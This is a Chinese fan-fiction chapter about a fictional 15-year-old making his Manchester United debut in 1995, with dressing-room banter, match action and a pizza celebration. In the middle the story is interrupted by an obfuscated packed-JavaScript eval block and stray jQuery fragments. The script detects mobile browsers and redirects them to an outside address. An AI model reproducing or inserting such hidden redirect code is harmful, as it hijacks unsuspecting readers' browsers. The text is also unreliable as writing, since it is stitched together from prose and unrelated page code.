1995年秋天，卡灵顿的空气里有一种微妙的变化。


    一线队更衣室的门上，贴着最新的联赛大名单。在密密麻麻的名字里，有一个显得格外不同：


    “S.GREENGRASS (16)”


    十五岁的塞巴斯蒂安·格林格拉斯，正式进入一线队大名单。不是观光，不是体验，是实打实的注册球员。虽然所有人都知道，他大部分时间还是会跟着预备队比赛，但那个名字出现在那里，本身就是一种宣言。


    “看，小不点上墙了。”训练后的淋浴间，保罗·因斯用毛巾擦着头发，朝名单扬了扬下巴。


    更衣室里响起几声轻笑。但笑声里没有恶意——塞斯用过去一年的表现赢得了尊重。预备队最佳球员，青年足总杯MVP，还有那种与年龄不符的沉稳和视野。


    “别叫他小不点，”史蒂夫·布鲁斯从衣柜前转过身，他是队长，说话带着分量，“他马上就能从你两腿间钻过去，记得吗？”


    因斯咧嘴笑：“所以我得趁现在多叫几声。”


    更衣室的门被推开。


    塞斯走进来，金发还滴着水，显然是刚在预备队那边训练完赶过来的。


    他穿着俱乐部的训练外套，拉链敞开，露出里面的红色训练衫。看到大家都在看他，他愣了一下，然后脸上绽开那个标志性的笑容——酒窝深深陷下去，灰蓝色的眼睛弯成明亮的弧线。


    “下午好，各位。”他不知不觉度过了变声期，声音却仍旧清朗，带着少年特有的朝气。


    “哟，名单先生来了！”因斯吹了声口哨，“感觉如何？”


    塞斯走到自己的衣柜前——位置在最角落，紧挨着菲利普·内维尔。他一边换鞋一边说：“感觉……像在做梦。但更衣室的味道比我想象的难闻。”


    一阵哄笑。


    “小子，这是男人味！”因斯抓起一只臭袜子扔过去。


    塞斯轻巧地偏头躲过，动作流畅得像在球场上过掉防守队员。他弯腰捡起袜子，用两根手指捏着，脸上做出夸张的嫌弃表情：“保罗，这袜子能自己站起来了。需要我帮你申请吉尼斯纪录吗？”


    更大的笑声爆开。连一向严肃的罗伊·基恩都扯了扯嘴角。


    这就是塞斯的魔力。


    他有一种天赋——用最自然的方式化解隔阂，用笑容和玩笑敲开成年球员竖起的心墙。不是讨好，不是刻意，就是那种天生的、阳光般的亲和力。


    “说真的，”布鲁斯走过来，递给塞斯一瓶水，“周末对维拉，你进大名单了。虽然大概率是坐板凳，但做好准备。”


    塞斯接过水，酒窝还漾着，但眼神认真起来：“我会的，队长。”


    “别紧张，”加里·帕里斯特在旁边插话，“我第一次进大名单，上场前吐了三回。”


    “你那是喝多了吧？”因斯吐槽。


    塞斯被逗笑了，一边拧开水瓶一边说：“我不紧张。能在替补席看你们踢球，已经是种学习。”


    这句话说得很得体。态度谦逊，又表达了对前辈的尊重。布鲁斯和帕里斯特交换了一个赞许的眼神。


    周末，老特拉福德。


    球员通道里，塞斯穿着红色的替补背心，站在队伍末尾。他的金发理得整齐，脸上干干净净，没有太多紧张，更多的是好奇和兴奋。眼睛像两盏小灯，在略显昏暗的通道里亮晶晶的。


    “深呼吸，”旁边的菲利普·内维尔小声说，他自己也紧张得手心冒汗——这是他第二次进大名单，“别想太多。”


    塞斯点点头，目光却忍不住飘向通道另一头。


    维拉队的球员们正在做最后的准备，那些人里有他从小在电视上看到的球星。而现在，他和他们在同一个舞台。


    走出通道的瞬间，声浪像一面墙拍过来。


    七万人的呐喊，红色旗帜的海洋，老特拉福德特有的那种混合着草皮、啤酒和激情的味道。塞斯脚步顿了一下，酒窝不自觉地露出来——不是紧张，是纯粹的震撼和喜悦。


    这就是他梦想的地方。


    比赛开始后，塞斯坐在替补席最边缘，紧挨着守门员教练。他看得无比专注，身体前倾，膝盖几乎顶到前面的栏杆。每当曼联打出一次漂亮配合，他就会用力鼓掌；每次维拉威胁球门，他会不自觉地握紧拳头。


    “看他的跑位，”弗格森的声音从旁边传来，他在对助理教练基德说话，但声音足够让塞斯听见，“维拉那个左边后卫，每次我们右路进攻，他都会内收半步——这是习惯。”


    塞斯耳朵竖了起来。


    “所以如果我们右路突破后突然横传中路……”他下意识地接话，说到一半才意识到自己插嘴了，赶紧闭上嘴。


    弗格森转过头看他，脸上没什么表情：“继续说。”


    塞斯有点紧张：“如果右路突破后突然横传中路，那个左边后卫内收留下的空档，左后卫会来不及补。这时候如果我们左路有人插上……”


    他指了指场上吉格斯的位置。


    弗格森盯着他看了三秒，然后转头对基德说：“听到了吗？十五岁。”


    基德笑着点头。


    下半场第六十分钟，曼联1:0领先，但场面胶着。弗格森突然转身，朝替补席喊：“格林格拉斯！”


    塞斯噌地站起来。


    “热身。”


    简单的两个字，却让塞斯的心脏猛地跳到了嗓子眼。酒窝消失了，取而代之的是极度专注的表情。他迅速脱掉外套，在场边开始拉伸、冲刺、折返跑。


    看台上响起一阵骚动。导播把镜头切到场边，那个金发少年的特写出现在大屏幕上。


    “塞巴斯蒂安·格林格拉斯！曼联青训的明珠！十五岁零三个月！如果今天上场，他将成为俱乐部历史上最年轻的一线队出场球员！”解说员的声音激动起来。


    塞斯听不到这些。他的世界只剩下心跳声、呼吸声，和弗格森可能喊他名字的每一秒。


    第七十五分钟，机会来了。


    维拉队一次反击扳平比分，1:1。弗格森面色铁青，转身朝替补席做了个手势。


    “塞巴斯蒂安！”助理教练喊，“准备上场！换下李·夏普！打前腰！”


    塞斯深吸一口气，脱掉背心。第四官员举起换人牌——16号上，11号下。


    踏上草皮的那一刻，老特拉福德的声浪再次涌来，但这次不同。他听到了清晰的欢呼，看到看台上有人举着写有他名字的标语牌。酒窝不受控制地漾开，他朝最近的看台挥了挥手，然后迅速跑向自己的位置。


    经过吉格斯身边时，威尔士人拍了拍他的屁股：“别怕，小天才。就像训练一样。”


    第一次触球，是在中圈附近。


    斯科尔斯把球传给他，维拉的中场立刻压上。塞斯没有急着向前，而是先回传，然后迅速横向跑动接应。简单，但有效——稳住了节奏。


    第二次触球，他做出了第一次尝试。


    在右路接到加里·内维尔的传球，面对维拉左后卫的上抢，塞斯做了个向底线突破的假动作，然后突然用脚后跟把球磕向身后，同时转身——


    一个克鲁伊夫转身的变种，但更简洁。


    他过去了！


    看台上爆发出惊呼。塞斯带球内切，眼睛快速扫视禁区。因斯在点球点附近被盯死，但吉格斯从左边悄然插上。


    塞斯没有犹豫，用外脚背送出一记弧线传球。球绕过后卫，精准地落到吉格斯身前。


    “好球！”吉格斯接球，射门——


    被扑出。


    角球。


    塞斯跑去开角球。他举起手，示意战术。禁区内，曼联的高点们开始跑位。


    助跑，起脚。


    球不是飞向禁区中央，而是以一个诡异的弧线飞向近门柱——那里看起来空无一人。


    但就在球到达的瞬间，斯科尔斯突然从人丛中闪出，头球一蹭！


    球变向飞向远角！


    2:1！


    绝杀！


    老特拉福德炸了。斯科尔斯冲向角旗区，然后转身，指向塞斯。塞斯跑过去，两人紧紧拥抱。紧接着，更多的红色身影涌来——吉格斯、加里、因斯，所有人都揉着他的金发，拍着他的背。


    “传得太他妈好了！”因斯在他耳边大吼。


    塞斯被队友们簇拥着，酒窝深得能盛下整个老特拉福德的灯光。他抬头看向替补席，弗格森站在那里，双手抱胸，脸上终于露出了笑容。


    那场比赛最后以2:1结束。终场哨响时，塞斯被电视台的记者拦住了。


    “塞斯！首秀就贡献助攻！感受如何？”


    塞斯擦了把汗，脸上还带着运动后的红晕，但笑容灿烂得晃眼：“像做梦。但最棒的是能帮球队赢球。”


    “你只有十五岁，紧张吗？”


    “上场前紧张，”他诚实地说，“但碰到球就不紧张了。足球就是足球，不管在卡灵顿还是老特拉福德。”


    采访播出后，这段回答被反复播放。不止因为他说得得体，更因为他说这些话时，那双灰蓝色的眼睛里闪烁的光芒——纯粹，明亮，没有一丝矫饰。


    赛后更衣室，气氛热烈。


    “小子，你那脚角球，”布鲁斯一边解绷带一边说，“怎么想到传近点的？”


    “保罗赛前说，维拉守近门柱的总是慢半拍，”塞斯正在整理自己的东西，动作一丝不苟，“而且他们中卫身高有优势，传中路人太多，不如打个出其不意。”


    更衣室里安静了一瞬。


    赛前随口的一句话，这个十五岁的孩子不仅记住了，还在最关键的时刻用了出来。


    罗伊·基恩从淋浴间出来，腰间裹着毛巾。他走到塞斯面前，居高临下地看着他。


    塞斯抬起头，酒窝浅了一些，但没有躲闪。


    “踢得不错，”基恩说，声音还是硬邦邦的，“但下次传球可以再快半秒。那球要是被断了，就是反击。”


    “是，罗伊。”塞斯认真点头。


    基恩没再说什么，转身走了。但所有人都知道，这已经是极高的评价。


    更衣室的门被推开，弗格森走进来。欢呼声立刻响起。


    “干得好，小伙子们！”弗格森拍拍手，“特别是某些人——”他看向塞斯，“首秀不错。但别得意，这只是开始。”


    塞斯站起来：“我明白，boss。”


    弗格森走到他面前，盯着他看了几秒，突然伸手，用力揉了揉他的金发——动作和吉格斯、基恩如出一辙，但这次塞斯没躲。


    “下周联赛杯，你首发。”弗格森说，声音不大，但足够全更衣室听见。


    一阵口哨声。


    塞斯睁大眼睛，酒窝彻底消失了，只剩下难以置信：“我……首发？”


    “怎么？怕了？”


    “不怕！”塞斯立刻说，眼睛重新亮起来，“我会准备好的！”


    弗格森笑了，转身离开前丢下一句：“明天训练别迟到。”


    更衣室重新热闹起来。因斯勾住塞斯的脖子：“小子，你要创纪录了！最年轻首发！”


    “请客！”吉格斯起哄。


    “对！请客！”</p


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17070668|195205||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >


    塞斯被围在中间，笑着举手投降：“行行行，我请！披萨还是中餐？”


    “都要！”


    那天晚上，92班那帮家伙——加上新晋的“一线队成员”塞斯——挤在曼彻斯特一家披萨店里。小小的包厢，笑声几乎要掀翻屋顶。


    “我当时想，”加里·内维尔比划着，“塞斯那脚角球要是传大了，我就冲boss喊‘我早说过他太小了’！”


    “你敢！”吉格斯推他。


    塞斯坐在中间，左边是斯科尔斯，右边是贝克汉姆。他小口咬着披萨，听着师兄们吹牛打趣，酒窝一直没消失。


    “说真的，”贝克汉姆转向他，眼神认真，“你今天那个转身，练了多久？”


    “从伤愈后就开始练，”塞斯说，“每天加练半小时。康复师说那个动作对脚踝压力小，但迷惑性强。”


    “聪明，”斯科尔斯低声说，他今天话不多，但一直听着，“用脑子踢球。”


    菲利普·内维尔凑过来：“塞斯，boss说下周首发，你紧张吗？”


    “有一点，”塞斯坦白，“但更多的是兴奋。而且——”他看向桌边的每一个人，“我知道你们会在。”


    这句话说得很自然，但桌边安静了一瞬。


    吉格斯第一个反应过来，他举起可乐杯：“为了塞斯的下一次首发！”


    “为了塞斯！”


    杯子碰撞的声音清脆响亮。


    在暖黄的灯光下，这群年轻人的脸庞发着光。


    他们还不知道，未来的几年，他们将一起掀起一场红色风暴，将一起捧起无数奖杯，将一起成为传奇。


    但在这一刻，他们只是坐在一起吃披萨的兄弟，为一个同伴的首秀成功而庆祝。


    简单，纯粹，温暖。


    就像塞斯那个从不掩饰的笑容，像阳光穿透曼彻斯特常年阴郁的天空，明亮得让人移不开眼睛。


    几天后的联赛杯，曼联对阵低级别球队约克城。


    塞斯真的首发了。


    球员通道里，他站在队伍中段，金发在灯光下像一圈光环。这次他没有四处张望，只是安静地站着，偶尔和旁边的斯科尔斯低声交流两句。


    “按我们练的来，”斯科尔斯说，“他们身体硬，但速度慢。”


    “明白。”


    比赛开始后，塞斯很快进入了状态。约克城的防守确实粗野，但塞斯用不断的跑动和一脚出球避开了大部分对抗。第二十三分钟，他在中场接到球，面对两人的包夹，突然用脚尖把球挑了起来——


    不是长传，不是射门。


    球轻巧地越过防守队员头顶，落下的位置正好是吉格斯前插的路线。吉格斯舒服地拿到单刀，轻松推射得分。


    1:0。


    “天才的传球！”解说员惊叹，“你看到那个挑传的时机了吗？早一秒会被拦截，晚一秒越位！十五岁的孩子怎么能有这样的视野？”


    塞斯没有庆祝，他只是跑向吉格斯，两人击掌，然后迅速回到位置。酒窝浅浅地漾着，但眼神专注。


    下半场，塞斯自己进球了。


    一次快速反击，斯科尔斯直塞，塞斯反越位成功。面对出击的门将，他没有选择挑射或过掉，而是用右脚外脚背打了个诡异的弧线——球绕过门将，擦着远门柱滚入网窝。


    2:0。


    进球后的塞斯终于释放了情绪。他张开双臂跑向角旗区，脸上是毫无保留的灿烂笑容。酒窝深深，灰蓝色的眼睛里盛满了纯粹的喜悦。队友们涌上来，把他压在身下。


    “干得漂亮！小子！”


    “第二个了！你要抢射手榜吗！”


    场边，弗格森难得地露出了欣慰的笑容。他对基德说：“看到了吗？他不是在表演，他是真的享受。”


    比赛最终以3:0结束。塞斯贡献一传一射，毫无争议地当选全场最佳。


    赛后采访，记者的问题更多了。


    “塞斯，连续两场出色表现，你觉得自己能在一线队站稳脚跟吗？”


    “我还需要学习很多，”塞斯擦了擦汗，笑容依旧明亮，“今天能赢是因为全队的努力。我只是做了我该做的。”


    “有传言说皇马和巴萨都在关注你……”


    “我是曼联球员，”他打断记者，语气温和但坚定，“我的心在这里，我的未来也在这里。”


    这句话第二天登上了各大报纸的头版。配图是他进球后庆祝的照片——金发飞扬，笑容灿烂，酒窝深深，身后是老特拉福德红色的海洋。


    一个阳光般明亮的天才，一颗坚定忠于红色的心。


    这几乎是最完美的故事。


    第二天的训练，他特意提早到了半小时。空荡荡的训练场上，只有他一个人在练习任意球。贝克汉姆来的时候，塞斯已经踢了三十多脚。


    “这么早？”贝克汉姆惊讶。


    “昨天的射门可以更干净，”塞斯擦了把汗，酒窝在晨光里若隐若现，“我想练练发力。”


    贝克汉姆看了他一会儿，突然笑了：“你知道吗，塞斯？你最大的天赋可能不是技术。”


    “那是什么？”


    “是你永远觉得自己不够好，”贝克汉姆说，语气认真，“而且你从不掩饰你想变得更好。这很难得。”


    塞斯想了想，也笑了：“可能是因为我知道，如果不努力，就追不上你们。”


    晨光中，两个金发少年——一个已经崭露头角，一个刚刚起步——并肩站在训练场上。远处，卡灵顿的大门打开，更多的球员陆续到来。


    新的一天开始了。